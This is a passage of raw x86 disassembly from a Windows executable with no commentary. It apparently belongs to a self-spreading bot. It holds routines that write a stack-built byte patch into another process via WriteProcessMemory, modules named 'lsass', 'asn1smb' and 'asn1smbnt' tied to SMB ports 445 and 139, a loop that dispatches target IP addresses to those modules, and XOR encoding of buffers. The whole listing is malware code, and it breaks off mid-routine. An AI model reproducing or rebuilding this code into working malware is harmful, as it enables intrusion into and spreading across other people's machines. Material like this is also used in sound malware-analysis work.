sub_40DB56+3Cj ; sub_40DB56+4Fj ... pop edi loc_40DEB8: ; CODE XREF: sub_40DB56+22j pop esi pop ebx add ebp, 78h leave retn sub_40DB56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DEBF proc near ; CODE XREF: sub_40DB56+2F4p var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_5D = byte ptr -5Dh var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = byte ptr -5Ah var_59 = byte ptr -59h var_58 = byte ptr -58h var_57 = byte ptr -57h var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 60h or al, 0FFh mov [ebp+var_5D], al mov [ebp+var_5A], al mov [ebp+var_57], al mov [ebp+var_54], al xor al, al push edi mov [ebp+var_60], 55h mov [ebp+var_5F], 8Bh mov [ebp+var_5E], 0ECh mov [ebp+var_5C], 75h mov [ebp+var_5B], 14h mov [ebp+var_59], 75h mov [ebp+var_58], 10h mov [ebp+var_56], 75h mov [ebp+var_55], 0Ch mov [ebp+var_53], 75h mov [ebp+var_52], 8 mov [ebp+var_51], 0E8h mov [ebp+var_50], al mov [ebp+var_4F], al mov [ebp+var_4E], al mov [ebp+var_4D], al mov [ebp+var_4C], 53h mov [ebp+var_4B], 50h mov [ebp+var_4A], 52h mov [ebp+var_49], 83h mov [ebp+var_48], 0F8h mov [ebp+var_47], al mov [ebp+var_46], 75h mov [ebp+var_45], 2Ch mov [ebp+var_44], 83h mov [ebp+var_43], 7Dh mov [ebp+var_42], 8 mov [ebp+var_41], 5 mov [ebp+var_40], 75h mov [ebp+var_3F], 26h mov [ebp+var_3E], 8Bh mov [ebp+var_3D], 45h mov [ebp+var_3C], 0Ch mov [ebp+var_3B], 8Bh mov [ebp+var_3A], 0D0h mov [ebp+var_39], 81h mov [ebp+var_38], 78h mov [ebp+var_37], 44h mov [ebp+var_36], al mov [ebp+var_35], al mov [ebp+var_34], al mov [ebp+var_33], al mov [ebp+var_32], 8Bh mov [ebp+var_31], 18h mov [ebp+var_30], 75h mov [ebp+var_2F], 0Dh mov [ebp+var_2E], 83h mov [ebp+var_2D], 38h mov [ebp+var_2C], al mov [ebp+var_2B], 75h mov [ebp+var_2A], 6 mov [ebp+var_29], 33h mov [ebp+var_28], 0DBh mov [ebp+var_27], 89h mov [ebp+var_26], 1Ah mov [ebp+var_25], 0EBh mov [ebp+var_24], 2 mov [ebp+var_23], 1 mov [ebp+var_22], 1Ah mov [ebp+var_21], 8Bh mov [ebp+var_20], 0D0h mov [ebp+var_1F], 3 mov [ebp+var_1E], 0C3h mov [ebp+var_1D], 83h mov [ebp+var_1C], 0FBh mov [ebp+var_1B], al mov [ebp+var_1A], 75h mov [ebp+var_19], 0DFh mov [ebp+var_18], 5Ah mov [ebp+var_17], 58h mov [ebp+var_16], 5Bh mov [ebp+var_15], 5Dh mov [ebp+var_14], 0C2h mov [ebp+var_13], 10h sub ecx, [esi+10h] mov [ebp+var_12], al push 4 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_50] sub ecx, 14h push eax mov [ebp+var_4], ecx call sub_41BC60 add esp, 0Ch call ds:dword_429148 ; GetCurrentProcessId mov [ebp+var_8], eax push 4 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_36] push eax call sub_41BC60 mov eax, [esi+10h] mov edi, ds:dword_42914C add esp, 0Ch lea ecx, [ebp+var_C] push ecx push 4Fh lea ecx, [ebp+var_60] push ecx push eax push dword ptr [esi+14h] mov [ebp+var_10], eax call edi ; WriteProcessMemory test eax, eax jz short loc_40E05E lea eax, [ebp+var_C] push eax push 4 lea eax, [ebp+var_10] push eax push [ebp+arg_0] push dword ptr [esi+14h] call edi ; WriteProcessMemory loc_40E05E: ; CODE XREF: sub_40DEBF+18Bj pop edi leave retn 4 sub_40DEBF endp ; =============== S U B R O U T I N E ======================================= sub_40E063 proc near ; CODE XREF: sub_40E258+37p push edi push 1BDh mov edi, eax push offset aLsass ; "lsass" call sub_40E0BC mov dword ptr [edi], offset off_4306C8 mov eax, edi pop edi retn sub_40E063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E07F proc near ; CODE XREF: sub_408B3D+3p ; sub_4280CC+29j jmp sub_416AA6 sub_40E07F endp ; =============== S U B R O U T I N E ======================================= sub_40E084 proc near ; CODE XREF: sub_40E258+53p push edi push 1BDh mov edi, eax push offset aAsn1smb ; "asn1smb" call sub_40E0BC mov dword ptr [edi], offset off_430718 mov eax, edi pop edi retn sub_40E084 endp ; =============== S U B R O U T I N E ======================================= sub_40E0A0 proc near ; CODE XREF: sub_40E258+6Fp push edi push 8Bh mov edi, eax push offset aAsn1smbnt ; "asn1smbnt" call sub_40E0BC mov dword ptr [edi], offset off_430708 mov eax, edi pop edi retn sub_40E0A0 endp ; =============== S U B R O U T I N E ======================================= sub_40E0BC proc near ; CODE XREF: sub_40E063+Dp ; sub_40E084+Dp ... arg_0 = dword ptr 4 arg_4 = word ptr 8 and dword ptr [edi+4], 0 or dword ptr [edi+0Ch], 0FFFFFFFFh push esi lea esi, [edi+10h] mov dword ptr [edi], offset off_430728 call sub_414878 push 40h push [esp+8+arg_0] lea eax, [edi+584h] push eax call sub_41C5A0 mov ax, [esp+10h+arg_4] add esp, 0Ch mov [edi+5C4h], ax mov eax, edi pop esi retn 8 sub_40E0BC endp ; =============== S U B R O U T I N E ======================================= sub_40E0FA proc near ; CODE XREF: sub_40E357+14p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi lea edi, [ebx+10h] mov ecx, 15Dh rep movsd mov ecx, [esp+8+arg_0] xor eax, eax call sub_4149DD mov esi, ebx call sub_416AC4 pop edi pop esi retn 4 sub_40E0FA endp ; --------------------------------------------------------------------------- loc_40E121: ; DATA XREF: .text:off_4306C8o ; .text:off_430708o ... push esi mov esi, ecx mov eax, [esi] call dword ptr [eax+0Ch] push 3 lea eax, [esi+10h] call sub_414D44 pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40E135 proc near ; CODE XREF: sub_40E45D+4p ; .text:0042793Cj mov eax, [eax] test eax, eax jz short locret_40E142 push eax call sub_41CA28 pop ecx locret_40E142: ; CODE XREF: sub_40E135+4j retn sub_40E135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E143 proc near ; CODE XREF: sub_40C5E6+66p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi mov esi, eax mov ebx, [esi+4] push edi push ebx call sub_41BAB5 push ebx push dword ptr [esi] mov [ebp+var_8], eax push eax call sub_41BC60 add esp, 10h lea edi, [ebx+1Ch] call sub_40E23E push 1Ch mov esi, eax push offset loc_4352B4 push esi call sub_41BC60 add esp, 0Ch xor eax, eax test ebx, ebx mov cl, 1 jbe short loc_40E1C5 loc_40E188: ; CODE XREF: sub_40E143+80j and [ebp+var_4], 0 cmp [ebp+arg_4], 0 jbe short loc_40E1C0 mov edx, [ebp+var_8] movzx edx, byte ptr [eax+edx] movzx edi, cl xor edx, edi mov [ebp+var_10], edx loc_40E1A1: ; CODE XREF: sub_40E143+76j mov edx, [ebp+arg_0] mov edi, [ebp+var_4] movsx edx, byte ptr [edi+edx] cmp [ebp+var_10], edx jz short loc_40E1BD inc [ebp+var_4] mov edx, [ebp+var_4] cmp edx, [ebp+arg_4] jb short loc_40E1A1 jmp short loc_40E1C0 ; --------------------------------------------------------------------------- loc_40E1BD: ; CODE XREF: sub_40E143+6Bj inc cl dec eax loc_40E1C0: ; CODE XREF: sub_40E143+4Dj ; sub_40E143+78j inc eax cmp eax, ebx jb short loc_40E188 loc_40E1C5: ; CODE XREF: sub_40E143+43j xor edx, edx test ebx, ebx jbe short loc_40E1D7 loc_40E1CB: ; CODE XREF: sub_40E143+92j mov eax, [ebp+var_8] add eax, edx xor [eax], cl inc edx cmp edx, ebx jb short loc_40E1CB loc_40E1D7: ; CODE XREF: sub_40E143+86j mov [esi+18h], cl mov cl, 1 cmp bl, cl mov al, cl jnz short loc_40E1E5 add cl, 0Fh loc_40E1E5: ; CODE XREF: sub_40E143+9Dj mov edx, ebx shr edx, 8 cmp dl, 1 jnz short loc_40E1F1 mov al, 10h loc_40E1F1: ; CODE XREF: sub_40E143+AAj xor edx, edx mov dh, al mov eax, ebx push 2 mov dl, cl xor eax, edx mov [ebp+var_14], eax lea eax, [ebp+var_14] push eax lea eax, [esi+0Eh] push eax mov [ebp+var_C], edx call sub_41BC60 push 2 lea eax, [ebp+var_C] push eax lea eax, [esi+13h] push eax call sub_41BC60 push ebx push [ebp+var_8] add esi, 1Ch push esi call sub_41BC60 push [ebp+var_8] call sub_41CA28 add esp, 28h pop edi pop esi pop ebx leave retn 8 sub_40E143 endp ; =============== S U B R O U T I N E ======================================= sub_40E23E proc near ; CODE XREF: sub_40C5E6+2Ap ; sub_40E143+26p mov eax, [esi] test eax, eax jz short loc_40E24B push eax call sub_41CA28 pop ecx loc_40E24B: ; CODE XREF: sub_40E23E+4j push edi mov [esi+4], edi call sub_41BAB5 pop ecx mov [esi], eax retn sub_40E23E endp ; =============== S U B R O U T I N E ======================================= sub_40E258 proc near ; CODE XREF: .text:0042802Cp mov eax, offset loc_42792F call sub_41E550 push ebx push esi mov esi, [ebp+8] push edi call sub_4099E5 xor ebx, ebx mov [ebp-4], ebx mov [esi+8], ebx mov [esi+0Ch], ebx mov [esi+10h], ebx mov edi, 5C8h push edi mov byte ptr [ebp-4], 1 call sub_41BA91 cmp eax, ebx pop ecx jz short loc_40E296 call sub_40E063 jmp short loc_40E298 ; --------------------------------------------------------------------------- loc_40E296: ; CODE XREF: sub_40E258+35j xor eax, eax loc_40E298: ; CODE XREF: sub_40E258+3Cj push eax mov eax, esi call sub_40E438 push edi call sub_41BA91 cmp eax, ebx pop ecx jz short loc_40E2B2 call sub_40E084 jmp short loc_40E2B4 ; --------------------------------------------------------------------------- loc_40E2B2: ; CODE XREF: sub_40E258+51j xor eax, eax loc_40E2B4: ; CODE XREF: sub_40E258+58j push eax mov eax, esi call sub_40E438 push edi call sub_41BA91 cmp eax, ebx pop ecx jz short loc_40E2CE call sub_40E0A0 jmp short loc_40E2D0 ; --------------------------------------------------------------------------- loc_40E2CE: ; CODE XREF: sub_40E258+6Dj xor eax, eax loc_40E2D0: ; CODE XREF: sub_40E258+74j push eax mov eax, esi call sub_40E438 mov ecx, [ebp-0Ch] mov [esi+18h], ebx mov [esi+14h], ebx pop edi mov eax, esi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40E258 endp ; =============== S U B R O U T I N E ======================================= sub_40E2F1 proc near ; CODE XREF: sub_4280CC+6Ep mov eax, offset loc_42792F call sub_41E550 push ebx push esi push edi mov edi, [ebp+8] lea esi, [edi+4] mov eax, esi mov dword ptr [ebp-4], 1 xor ebx, ebx call sub_408AF0 test eax, eax jbe short loc_40E339 loc_40E318: ; CODE XREF: sub_40E2F1+46j mov eax, [edi+8] lea eax, [eax+ebx*4] mov eax, [eax] test eax, eax jz short loc_40E32D mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx+4] loc_40E32D: ; CODE XREF: sub_40E2F1+31j mov eax, esi inc ebx call sub_408AF0 cmp ebx, eax jb short loc_40E318 loc_40E339: ; CODE XREF: sub_40E2F1+25j call sub_413A1C push dword ptr [edi] call ds:dword_4290F0 ; CloseHandle mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40E2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40E357 proc near ; CODE XREF: sub_40E47E+35p arg_0 = dword ptr 4 cmp dword ptr [eax+14h], 0 jz short locret_40E371 mov eax, [eax+18h] test eax, eax jz short locret_40E371 push ebx push [esp+4+arg_0] mov ebx, eax call sub_40E0FA pop ebx locret_40E371: ; CODE XREF: sub_40E357+4j ; sub_40E357+Bj retn 4 sub_40E357 endp ; =============== S U B R O U T I N E ======================================= sub_40E374 proc near ; CODE XREF: sub_40E5EC+63p mov eax, [eax+18h] test eax, eax jnz short loc_40E37F xor ax, ax retn ; --------------------------------------------------------------------------- loc_40E37F: ; CODE XREF: sub_40E374+5j mov ax, [eax+5C4h] retn sub_40E374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E387 proc near ; CODE XREF: sub_40F9A9+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_0], eax jnz short loc_40E395 mov [esi+18h], eax loc_40E395: ; CODE XREF: sub_40E387+9j mov [ebp+var_4], eax lea eax, [esi+4] call sub_408AF0 test eax, eax jbe short locret_40E411 push ebx push edi loc_40E3A6: ; CODE XREF: sub_40E387+86j push [ebp+arg_0] call sub_41C350 test eax, eax pop ecx jz short loc_40E3FF mov edi, [ebp+var_4] mov eax, [esi+8] shl edi, 2 mov eax, [eax+edi] add eax, 584h push eax call sub_41C350 push [ebp+arg_0] mov ebx, eax call sub_41C350 cmp eax, ebx pop ecx pop ecx ja short loc_40E3FF mov eax, [esi+8] push [ebp+arg_0] add eax, edi mov eax, [eax] add eax, 584h push eax call sub_426D1E test eax, eax pop ecx pop ecx jnz short loc_40E3FF mov eax, [esi+8] add eax, edi mov eax, [eax] mov [esi+18h], eax loc_40E3FF: ; CODE XREF: sub_40E387+2Aj ; sub_40E387+51j ... inc [ebp+var_4] lea eax, [esi+4] call sub_408AF0 cmp [ebp+var_4], eax jb short loc_40E3A6 pop edi pop ebx locret_40E411: ; CODE XREF: sub_40E387+1Bj leave retn 4 sub_40E387 endp ; =============== S U B R O U T I N E ======================================= sub_40E415 proc near ; CODE XREF: sub_40F8F8+83p push esi mov esi, eax push 0FFFFFFFFh push dword ptr [esi] call ds:dword_429128 ; WaitForSingleObject test edi, edi jz short loc_40E42B call sub_40E449 loc_40E42B: ; CODE XREF: sub_40E415+Fj push dword ptr [esi] mov [esi+14h], edi call ds:dword_429138 ; ReleaseMutex pop esi retn sub_40E415 endp ; =============== S U B R O U T I N E ======================================= sub_40E438 proc near ; CODE XREF: sub_40E258+43p ; sub_40E258+5Fp ... arg_0 = byte ptr 4 push esi add eax, 4 lea esi, [esp+4+arg_0] call sub_413F72 pop esi retn 4 sub_40E438 endp ; =============== S U B R O U T I N E ======================================= sub_40E449 proc near ; CODE XREF: sub_40E415+11p mov eax, [esi+14h] test eax, eax jz short loc_40E458 push 1 push eax call sub_40E45D loc_40E458: ; CODE XREF: sub_40E449+5j and dword ptr [esi+14h], 0 retn sub_40E449 endp ; =============== S U B R O U T I N E ======================================= sub_40E45D proc near ; CODE XREF: sub_40E449+Ap arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] call sub_40E135 test [esp+arg_4], 1 jz short loc_40E477 push [esp+arg_0] call sub_41C7B8 pop ecx loc_40E477: ; CODE XREF: sub_40E45D+Ej mov eax, [esp+arg_0] retn 8 sub_40E45D endp ; =============== S U B R O U T I N E ======================================= sub_40E47E proc near ; DATA XREF: .text:004306E4o arg_0 = byte ptr 4 arg_14 = dword ptr 18h test [esp+arg_0], 10h push edi mov edi, ecx jz short loc_40E4BF cmp [esp+4+arg_14], 0 jnz short loc_40E4BF cmp ds:dword_4381B0, 0 jz short loc_40E4BF cmp ds:dword_4381B4, 0 jz short loc_40E4BF mov eax, [edi+34h] imul eax, 574h add eax, [edi+18h] push eax mov eax, offset dword_43819C call sub_40E357 push 0 call sub_4152DF loc_40E4BF: ; CODE XREF: sub_40E47E+8j ; sub_40E47E+Fj ... xor eax, eax inc eax pop edi retn 2Ch sub_40E47E endp ; =============== S U B R O U T I N E ======================================= sub_40E4C6 proc near ; CODE XREF: sub_40F839+41p ; sub_40FA00+38p mov eax, offset loc_427D4C call sub_41E550 push ebx push esi push edi mov edi, [ebp+8] or dword ptr [edi+0Ch], 0FFFFFFFFh xor ebx, ebx mov [edi+4], ebx mov [ebp-4], ebx lea esi, [edi+20h] mov dword ptr [edi], offset off_4306FC call sub_4099E5 lea eax, [edi+24h] push eax mov byte ptr [ebp-4], 1 call sub_40E6B3 push ebx push ebx push 1 push ebx mov [edi+3Ch], ebx mov [edi+40h], ebx mov [edi+44h], ebx call ds:dword_429150 ; CreateEventA mov ecx, [ebp+0Ch] push edi mov [edi+10h], eax call sub_40E5D7 mov esi, edi call sub_416AC4 mov ecx, [ebp-0Ch] mov eax, edi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 8 sub_40E4C6 endp ; =============== S U B R O U T I N E ======================================= sub_40E537 proc near ; DATA XREF: .text:00430700o arg_0 = byte ptr 4 push ebx mov ebx, ecx call sub_40E553 test [esp+4+arg_0], 1 jz short loc_40E54D push ebx call sub_41C7B8 pop ecx loc_40E54D: ; CODE XREF: sub_40E537+Dj mov eax, ebx pop ebx retn 4 sub_40E537 endp ; =============== S U B R O U T I N E ======================================= sub_40E553 proc near ; CODE XREF: sub_40E537+3p push esi push edi lea esi, [ebx+38h] call sub_413A1C lea edi, [ebx+24h] call sub_40B9E3 push dword ptr [ebx+20h] call ds:dword_4290F0 ; CloseHandle pop edi mov ecx, ebx pop esi jmp sub_416AA6 sub_40E553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E577 proc near ; CODE XREF: sub_40FA00+74p var_28 = byte ptr -28h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push 0FFFFFFFFh push dword ptr [esi+20h] call ds:dword_429128 ; WaitForSingleObject push [ebp+arg_0] lea ebx, [ebp+var_28] call sub_41646A lea eax, [ebp+var_28] push eax lea eax, [esi+38h] push eax call sub_40E742 push dword ptr [esi+10h] call ds:dword_42910C ; SetEvent push dword ptr [esi+20h] call ds:dword_429138 ; ReleaseMutex pop ebx leave retn 4 sub_40E577 endp ; =============== S U B R O U T I N E ======================================= sub_40E5B8 proc near ; CODE XREF: sub_40FAA1+Bp push esi push 0FFFFFFFFh push dword ptr [edi+20h] call ds:dword_429128 ; WaitForSingleObject lea esi, [edi+38h] call sub_413A1C push dword ptr [edi+20h] call ds:dword_429138 ; ReleaseMutex pop esi retn sub_40E5B8 endp ; =============== S U B R O U T I N E ======================================= sub_40E5D7 proc near ; CODE XREF: sub_40E4C6+52p ; sub_40F839+5Bp arg_0 = dword ptr 4 mov eax, 0BB8h cmp ecx, eax jnb short loc_40E5E2 mov ecx, eax loc_40E5E2: ; CODE XREF: sub_40E5D7+7j mov eax, [esp+arg_0] mov [eax+14h], ecx retn 4 sub_40E5D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40E5EC proc near ; DATA XREF: .text:off_4306FCo var_578 = byte ptr -578h var_574 = byte ptr -574h sub esp, 578h push ebx push ebp mov ebp, ds:dword_429128 push esi push edi mov edi, ecx loc_40E5FE: ; CODE XREF: sub_40E5EC+53j ; sub_40E5EC+7Aj ... push 0FFFFFFFFh push dword ptr [edi+10h] call ebp ; WaitForSingleObject lea eax, [edi+38h] call sub_40E72C test eax, eax jz short loc_40E65D push 0FFFFFFFFh push dword ptr [edi+20h] call ebp ; WaitForSingleObject mov esi, [edi+3Ch] call sub_4165CD test eax, eax mov [edi+18h], eax jnz short loc_40E641 push dword ptr [edi+3Ch] lea ebx, [esp+58Ch+var_578] lea esi, [edi+38h] call sub_40E789 push dword ptr [edi+20h] call ds:dword_429138 ; ReleaseMutex jmp short loc_40E5FE ; --------------------------------------------------------------------------- loc_40E641: ; CODE XREF: sub_40E5EC+39j push dword ptr [edi+20h] call ds:dword_429138 ; ReleaseMutex mov eax, offset dword_43819C call sub_40E374 test ax, ax mov [edi+1Ch], ax jnz short loc_40E668 loc_40E65D: ; CODE XREF: sub_40E5EC+23j push dword ptr [edi+10h] call ds:dword_429114 ; ResetEvent jmp short loc_40E5FE ; --------------------------------------------------------------------------- loc_40E668: ; CODE XREF: sub_40E5EC+6Fj lea esi, [esp+588h+var_574] call sub_414878 xor ecx, ecx inc ecx mov eax, esi call sub_4148AA push 10h pop ebx call sub_414AE0 push dword ptr [edi+18h] call ds:dword_429274 ; inet_ntoa push eax mov ax, [edi+1Ch] mov ecx, esi call sub_414A81 lea eax, [esp+588h+var_574] push eax lea ecx, [edi+24h] call sub_40EA20 push dword ptr [edi+14h] call ds:dword_429084 ; Sleep jmp loc_40E5FE sub_40E5EC endp ; =============== S U B R O U T I N E ======================================= sub_40E6B3 proc near ; CODE XREF: sub_40E4C6+32p mov eax, offset loc_427D24 call sub_41E550 push ecx push ebx push esi mov esi, [ebp+8] push edi call sub_4099E5 xor ebx, ebx lea edi, [esi+4] mov [ebp-4], ebx mov [edi+4], ebx mov [edi+8], ebx mov [edi+0Ch], ebx push 154h mov byte ptr [ebp-4], 1 call sub_41BA91 mov esi, eax pop ecx mov [ebp-10h], esi cmp esi, ebx mov byte ptr [ebp-4], 2 jz short loc_40E705 push ebx push esi call sub_4150A5 mov dword ptr [esi], offset off_4306D8 jmp short loc_40E707 ; --------------------------------------------------------------------------- loc_40E705: ; CODE XREF: sub_40E6B3+41j xor esi, esi loc_40E707: ; CODE XREF: sub_40E6B3+50j mov byte ptr [ebp-4], 1 mov [ebp-10h], esi lea esi, [ebp-10h] mov eax, edi call sub_40C2E7 mov ecx, [ebp-0Ch] mov eax, [ebp+8] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_40E6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40E72C proc near ; CODE XREF: sub_40E5EC+1Cp ; sub_40E742+14p ... mov ecx, [eax+4] test ecx, ecx jnz short loc_40E736 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E736: ; CODE XREF: sub_40E72C+5j mov eax, [eax+8] sub eax, ecx push 28h cdq pop ecx idiv ecx retn sub_40E72C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E742 proc near ; CODE XREF: sub_40E577+25p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_0] push esi push edi mov eax, ebx call sub_40E7C6 mov esi, eax mov eax, ebx call sub_40E72C cmp eax, esi push [ebp+arg_4] jnb short loc_40E773 mov edi, [ebx+8] xor esi, esi push ebx inc esi call sub_40E81D mov [ebx+8], eax jmp short loc_40E782 ; --------------------------------------------------------------------------- loc_40E773: ; CODE XREF: sub_40E742+1Ej mov ebx, [ebx+8] mov edi, [ebp+arg_0] push ebx lea ebx, [ebp+arg_4] call sub_40E7DC loc_40E782: ; CODE XREF: sub_40E742+2Fj pop edi pop esi pop ebx pop ebp retn 8 sub_40E742 endp ; =============== S U B R O U T I N E ======================================= sub_40E789 proc near ; CODE XREF: sub_40E5EC+45p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] push edi push dword ptr [esi+8] lea eax, [edi+28h] call sub_40EB0E add dword ptr [esi+8], 0FFFFFFD8h pop ecx pop ecx mov [ebx], edi mov eax, ebx pop edi retn 4 sub_40E789 endp ; =============== S U B R O U T I N E ======================================= sub_40E7A8 proc near ; CODE XREF: sub_4140D0+A1p ; sub_4140D0+127p arg_0 = dword ptr 4 test ecx, ecx mov eax, esi jbe short loc_40E7C0 mov edx, ecx push edi loc_40E7B1: ; CODE XREF: sub_40E7A8+15j mov edi, [esp+4+arg_0] mov edi, [edi] mov [eax], edi add eax, 4 dec edx jnz short loc_40E7B1 pop edi loc_40E7C0: ; CODE XREF: sub_40E7A8+4j lea eax, [esi+ecx*4] retn 4 sub_40E7A8 endp ; =============== S U B R O U T I N E ======================================= sub_40E7C6 proc near ; CODE XREF: sub_40E742+Bp ; sub_40E83B+21p mov ecx, [eax+4] test ecx, ecx jnz short loc_40E7D0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E7D0: ; CODE XREF: sub_40E7C6+5j mov eax, [eax+0Ch] sub eax, ecx push 28h cdq pop ecx idiv ecx retn sub_40E7C6 endp ; =============== S U B R O U T I N E ======================================= sub_40E7DC proc near ; CODE XREF: sub_40E742+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov eax, edi call sub_40E72C test eax, eax jnz short loc_40E7EC xor esi, esi jmp short loc_40E7FB ; --------------------------------------------------------------------------- loc_40E7EC: ; CODE XREF: sub_40E7DC+Aj mov eax, [esp+4+arg_0] sub eax, [edi+4] push 28h cdq pop ecx idiv ecx mov esi, eax loc_40E7FB: ; CODE XREF: sub_40E7DC+Ej mov edx, [esp+4+arg_4] push 1 push [esp+8+arg_0] mov ecx, edi call sub_40E83B mov ecx, [edi+4] lea eax, [esi+esi*4] lea eax, [ecx+eax*8] mov [ebx], eax mov eax, ebx pop esi retn 8 sub_40E7DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E81D proc near ; CODE XREF: sub_40E742+27p ; sub_40E83B+BEp ... arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] mov eax, esi push [ebp+arg_4] push edi call sub_40EB82 lea eax, [esi+esi*4] add esp, 0Ch lea eax, [edi+eax*8] pop ebp retn 8 sub_40E81D endp ; =============== S U B R O U T I N E ======================================= sub_40E83B proc near ; CODE XREF: sub_40E7DC+2Bp mov eax, offset loc_427C55 call sub_41E550 sub esp, 34h push ebx push esi push edi mov [ebp-10h], esp mov ebx, ecx push 0Ah pop ecx mov esi, edx lea edi, [ebp-40h] mov eax, ebx rep movsd call sub_40E7C6 mov esi, [ebp+0Ch] test esi, esi mov edi, eax jz loc_40EA0F mov eax, ebx call sub_40E72C mov ecx, 6666666h sub ecx, eax cmp ecx, esi jnb short loc_40E885 call sub_40C38F loc_40E885: ; CODE XREF: sub_40E83B+43j mov eax, ebx call sub_40E72C add eax, esi cmp edi, eax jnb loc_40E969 mov eax, edi shr eax, 1 mov ecx, 6666666h sub ecx, eax cmp ecx, edi jnb short loc_40E8AE and dword ptr [ebp-14h], 0 mov edi, [ebp-14h] jmp short loc_40E8B3 ; --------------------------------------------------------------------------- loc_40E8AE: ; CODE XREF: sub_40E83B+68j add edi, eax mov [ebp-14h], edi loc_40E8B3: ; CODE XREF: sub_40E83B+71j mov eax, ebx call sub_40E72C add eax, esi cmp edi, eax jnb short loc_40E8CE mov eax, ebx call sub_40E72C add eax, esi mov [ebp-14h], eax mov edi, eax loc_40E8CE: ; CODE XREF: sub_40E83B+83j lea eax, [edi+edi*4] shl eax, 3 push eax call sub_41BA91 and dword ptr [ebp-4], 0 push dword ptr [ebp+8] mov edx, [ebx+4] push dword ptr [ebp+8] mov [ebp-18h], eax call sub_40EBCE add esp, 0Ch lea ecx, [ebp-40h] push ecx push ebx mov edi, eax call sub_40E81D mov ecx, [ebx+8] push dword ptr [ebp+8] mov edx, [ebp+8] push ecx call sub_40EBCE pop ecx pop ecx mov eax, ebx call sub_40E72C mov esi, [ebp+0Ch] add esi, eax mov eax, [ebx+4] test eax, eax jz short loc_40E937 mov ecx, [ebx+8] jmp short loc_40E92A ; --------------------------------------------------------------------------- loc_40E927: ; CODE XREF: sub_40E83B+F1j add eax, 28h loc_40E92A: ; CODE XREF: sub_40E83B+EAj cmp eax, ecx jnz short loc_40E927 push dword ptr [ebx+4] call sub_41C7B8 pop ecx loc_40E937: ; CODE XREF: sub_40E83B+E5j mov eax, [ebp-14h] lea ecx, [eax+eax*4] mov eax, [ebp-18h] lea ecx, [eax+ecx*8] mov [ebx+0Ch], ecx lea ecx, [esi+esi*4] lea ecx, [eax+ecx*8] mov [ebx+8], ecx mov [ebx+4], eax jmp loc_40EA0F ; --------------------------------------------------------------------------- push dword ptr [ebp-18h] call sub_41C7B8 pop ecx push 0 push 0 call sub_41E4BE 